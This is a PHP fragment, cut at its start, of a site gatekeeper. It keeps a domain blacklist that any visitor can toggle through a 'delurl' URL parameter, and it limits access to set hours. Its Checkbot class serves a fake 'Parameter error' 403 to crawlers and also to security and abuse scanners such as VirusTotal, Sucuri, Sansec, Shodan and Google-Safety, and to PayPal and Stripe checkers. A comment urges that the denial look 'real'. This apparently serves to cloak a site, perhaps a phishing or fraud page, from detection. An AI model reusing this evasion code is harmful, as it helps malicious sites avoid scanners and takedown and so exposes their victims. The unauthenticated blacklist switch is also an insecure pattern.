$stop_time) {
// 【修改点】:只有当黑名单里没有这个域名时,才写入
if (!in_array($current_domain, $black_list)) {
$content = $current_domain . PHP_EOL;
if (file_put_contents($filename, $content, FILE_APPEND | LOCK_EX)) {
// 同步更新内存中的 black_list,确保下方拦截逻辑能立刻拿到最新状态
$black_list[] = $current_domain;
}
}
}
}
// 3. 处理功能逻辑
$action = isset($_GET['delurl']) ? $_GET['delurl'] : '';
if ($action == '1') {
// --- 【彻底解封】 ---
// 【修改点】:使用 array_diff 删除所有匹配的项,防止多行重复域名删不干净
if (in_array($current_domain, $black_list)) {
$black_list = array_diff($black_list, [$current_domain]);
file_put_contents($filename, implode(PHP_EOL, $black_list) . PHP_EOL);
}
// 更新下次停止时间,解封后开始计时
if($use_time) file_put_contents($filename2, time() + $use_time);
header("Location: https://" . $current_domain);
exit;
} elseif ($action == '2') {
// --- 【手动拉黑】 ---
if (!in_array($current_domain, $black_list)) {
file_put_contents($filename, $current_domain . PHP_EOL, FILE_APPEND);
// 这里手动拉黑后,可能也需要重置下一次检查时间?
if($use_time) file_put_contents($filename2, time() + $use_time);
}
header("Location: https://" . $current_domain);
exit;
}
// 4. 最终权限检查
if (in_array($current_domain, $black_list)) {
// header("HTTP/1.1 502 Bad Gateway");
// header('Status: 502 Bad Gateway');
// echo file_get_contents("./502.html");
// 既然你要 404,建议不要输出 Access Denied 文本,保持真实
header("HTTP/1.1 403 Forbidden");
echo '
Parameter error。
IP: '.get_real_ip().'
';
exit;
}
if($times_1 && $times_2)
{
$timesif_1 = strtotime(date("Y-m-d") ." " .$times_1 );
$timesif_2 = strtotime(date("Y-m-d") ." " .$times_2 );
$now_time= time();
if( $now_time < $timesif_1 || $now_time > $timesif_2)
{
echo file_get_contents("./502.html");
exit;
}
}
// echo $_SERVER['HTTP_USER_AGENT'];
class Checkbot {
public $unicode = "utf-8";
public $whitelist_ip = array();
public $useragent_len = 90;
public $userAgent = '';
// 这里保留你原有的庞大 $error_agent 数组...
public $error_agent =array('censys.io','bot','yandex.com','facebook.com','leakix.net','internet-measurement.com','google','google.com','Storebot','Google-InspectionTool','Google-Extended','Mediapartners-Google','Google-Safety','checkmarknetwork.com','yandex',"leakix.net","archive.org","ahrefs.com","babbar.tech","bing.com","+http","micromessenger",'palo alto','domains','zalo','applebot','storebot-google','telegrambot','twitterbot','spider','GoogleOther','Qualys','Chrome-Lighthouse','Google Image Proxy','Cloudflare Prefetch','SemrushBotBacklinks','Facebook','Google API','New Relic','prerender','Cloudflare Healthchecks','Google-Read-Aloud','google-speakr','Google-Site-Verification','Deepcrawl','Barkrowler','Proximic','Shopify-Captain-Hook','ContentKing','MicrosoftPreview','Google-PageRenderer','Baiduspider','AhrefsSiteAudit','Pingdom','OneTrust','Sucuri','Stripe/1.0','site24x7','Detectify','Make/production','YahooMailProxy','HubSpot-FeedFetcher','Taboolabot','TwilioProxy','SiteCheck-sitecrawl','Mediapartners-Google','AhrefsSiteAudit','botify','Better Uptime Bot','HubSpot Page Fetcher','Leikibot','SeekportBot','statuscake','Cloudflare-Traffic-Manager','elmahio-uptimebot','Catchpoint','SeznamBot','adidxbot','HetrixTools','TTD-Content','CloudVertexBot','grafana/synthetic-monitoring','LogicMonitor SiteMonitor','FullStoryBot','Yeti','SendGrid Event API','Uptime','coccocbot','http:','https:','GoogleAssociationService','www.oncrawl.com','ExodusMovement','Dataprovider','monitoring360','cron-job.org','AlertSite','PayPal','oogle.com/feedfetcher','Yahoo Ad monitoring','ias_crawler','FlipboardProxy','Ghost Inspector','outbrain','Googlebot-Video','ChargeBee','Hotjar','feeder.co','NETVIGIE','Clickagy Intelligence Bot v2','Cloudflare Custom Hostname Verification','SkypeUriPreview','GTmetrix','Metorik','RSiteAuditor','seo4ajax.com','RSiteAuditor','Google-Structured-Data-Testing','netEstate NE Crawler','netEstate NE Crawler','Foregenix','netEstate NE Crawler','EasyCron/','WJHRO/1.0','Pro-Sitemaps/','Overcast/1.0 Podcast Syn','Sansec Security Monitor','Google-AdWords-Express','deadlinkchecker','AccessibleWebBot','cludo.com','InteractiveAdvertisingBureau','Devin','Arquivo-web-crawler','Cloudflare Stream Webhook','Google-Trust-Services','websitepulse checker','MonitoRSS/','MistralAI-User',' websitepulse checker','(dbot)','MediavineMetadataParser/','Spectate','SiteSearch360','MarketGoo','Huckabot/','KargoBot-Artemis','GoogleProducer','KargoBot-Artemis','jetmon','netarkivindsamling','Cloudflare','Daum/4.1','page-preview-tool','scraping@nytimes.com','monitor/webpagetest','ZoteroTranslationServer/WMF','Level9SearchBot/','Dlc/','LinkTiger','VirusTotal','Shodan','Censys','Siri','Spotlight','.ai','ClaudeBot','Applebot','GPTBot','Meta-ExternalAgent','Bytespider','OAI-SearchBot','PerplexityBot','Yandex','Yeti','Yahoo! Slurp','newRelic','pinterest','googleImageProxy','googleMedia','googleAds','Meta-ExternalFetcher','MistralAI-User','Novellum AI Crawl','Perplexity-User','ProRataInc','Claude-User','Anchor Browser','PetalBot','360Spider','GPTBot','ChatGPT-User','ClaudeBot','360jianshu','Bytespider','BaiduRender');
public $log_file = "log";
public $blacklist_file = "stopip.txt"; // 定义黑名单文件名
function __construct() {
$this->userAgent = trim(strtolower(empty($this->userAgent) ? $_SERVER['HTTP_USER_AGENT'] : $this->userAgent));
}
// 新增:IPv6 兼容的 IP 获取函数
public function get_ip() {
$ip = '';
if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
foreach ($ips as $i) {
$i = trim($i);
if (filter_var($i, FILTER_VALIDATE_IP)) {
$ip = $i;
break;
}
}
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return filter_var($ip, FILTER_VALIDATE_IP) ? $ip : '0.0.0.0';
}
// 核心修改:加入黑名单校验
public function can_useragent() {
$user_ip = $this->get_ip();
// 1. 检查是否在白名单
if ($this->whitelist_ip && in_array($user_ip, $this->whitelist_ip)) {
return; // 白名单直接放行
}
// 2. 检查是否在 stopip.txt 黑名单文件中 (兼容 IPv4/IPv6)
if (file_exists($this->blacklist_file)) {
// 读取文件,过滤空行和空格
$black_ips = file($this->blacklist_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (in_array($user_ip, $black_ips)) {
$this->html_404(); // 命中黑名单,直接拦截
}
}
// 3. 执行原有的 User-Agent 检查逻辑
$this->_set_lin($this->userAgent);
}
// 原有的逻辑保持不变...
function _checkStrpos($needle, $haystack, $returnValue = false) {
if(empty($needle)) return false;
foreach((array)$haystack as $v) {
if(strpos(strtolower($needle), strtolower($v)) !== false) return $returnValue ? $v : true;
}
return false;
}
function _set_lin($userAgent='') {
// 如果命中爬虫特征或错误的 UA
if ($this->_isSpider() || $this->_error_agent() || strlen($userAgent) < $this->useragent_len) {
$this->html_404();
}
}
function _isSpider() {
$kwSpiders = array(
'bot', 'crawl', 'spider', 'slurp',
'360spider', 'gptbot', 'bytespider',
'yisouspider', 'dotbot', 'archive.org'
);
return $this->_checkStrpos($this->userAgent, $kwSpiders);
}
function _error_agent() {
return $this->_checkStrpos($this->userAgent, $this->error_agent);
}
function html_404() {
header("HTTP/1.1 403 Forbidden");
echo 'Parameter error。
IP: '.$this->get_ip().'
';
die();
}
}
// 使用方法
$ckeck = new Checkbot();
$ckeck->whitelist_ip = ['127.0.0.1', '::1']; // 加入本地 IPv6 回环地址
$ckeck->can_useragent();
?>
Admin Login
System Config